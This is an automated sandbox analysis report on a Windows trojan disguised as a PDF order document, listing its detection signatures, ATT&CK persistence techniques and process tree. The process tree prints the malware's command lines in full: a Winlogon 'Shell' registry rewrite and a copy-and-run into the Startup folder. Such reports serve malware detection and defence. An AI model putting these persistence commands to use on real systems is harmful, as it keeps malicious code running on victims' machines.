Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
26/08/2026, 04:27
General
- Target Order_Specification_Company_profile_PDF.exe
- Size 1.1MB
- Sample260826-e23hcsgm2t
- SHA256 00685825a428311f30343266b8ea641ef868c5bd91e3ccca464c5ad46f1d27d5
Malware Config
Signatures
- Modifies WinLogon for persistence 2 TTPs 1 IoCs
- .NET Reactor proctector 64 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
- Creates a file in the Startup directory 1 TTPs 2 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Executes dropped EXE 1 IoCs
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 5 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Runs ping.exe 1 TTPs 3 IoCs
- Suspicious behavior: EnumeratesProcesses 28 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\Order_Specification_Company_profile_PDF.exe"C:\Users\Admin\AppData\Local\Temp\Order_Specification_Company_profile_PDF.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"cmd" /c ping 127.0.0.1 -n 38 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fyty7667.exe,"2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 383⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
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C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fyty7667.exe,"3⤵
- Modifies WinLogon for persistence
- System Location Discovery: System Language Discovery
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C:\Windows\SysWOW64\cmd.exe"cmd" /c ping 127.0.0.1 -n 44 > nul && copy "C:\Users\Admin\AppData\Local\Temp\Order_Specification_Company_profile_PDF.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fyty7667.exe" && ping 127.0.0.1 -n 44 > nul && "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fyty7667.exe"2⤵
- Creates a file in the Startup directory
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 443⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
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C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 443⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fyty7667.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fyty7667.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Replay Monitor
Loading Replay Monitor...
Downloads
fyty7667.exe
memory/212-562-0x0000000005BB0000-0x0000000005BC0000-memory.dmp
memory/212-1107-0x0000000005BB0000-0x0000000005BC0000-memory.dmp
memory/1568-0-0x0000000000B00000-0x0000000000C24000-memory.dmp
memory/1568-1-0x0000000005D00000-0x00000000062A4000-memory.dmp
memory/1568-2-0x0000000005640000-0x00000000056D2000-memory.dmp
memory/1568-3-0x0000000005750000-0x00000000057EC000-memory.dmp
memory/1568-4-0x0000000005630000-0x0000000005640000-memory.dmp
memory/1568-5-0x00000000057F0000-0x0000000005858000-memory.dmp
memory/1568-29-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-31-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-129-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-131-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-127-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-125-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-123-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-121-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-551-0x00000000059C0000-0x00000000059CA000-memory.dmp
memory/1568-553-0x0000000005630000-0x0000000005640000-memory.dmp
memory/1568-552-0x00000000063B0000-0x00000000063D8000-memory.dmp
memory/1568-550-0x0000000005700000-0x0000000005701000-memory.dmp
memory/1568-117-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-115-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-113-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-107-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-105-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-103-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-101-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-99-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-97-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-95-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-93-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-91-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-89-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-87-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-85-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-83-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-81-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-79-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-77-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-75-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-73-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-71-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-69-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-119-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-111-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-109-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-67-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-65-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-63-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-61-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-59-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-57-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-55-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-53-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-49-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-47-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-45-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-41-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-39-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-37-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-35-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-27-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-25-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-21-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-19-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-13-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-9-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-8-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-51-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-43-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-33-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-23-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-17-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-15-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-11-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-6-0x00000000057F0000-0x000000000586F000-memory.dmp
memory/1568-554-0x0000000005630000-0x0000000005640000-memory.dmp
memory/1568-555-0x0000000005630000-0x0000000005640000-memory.dmp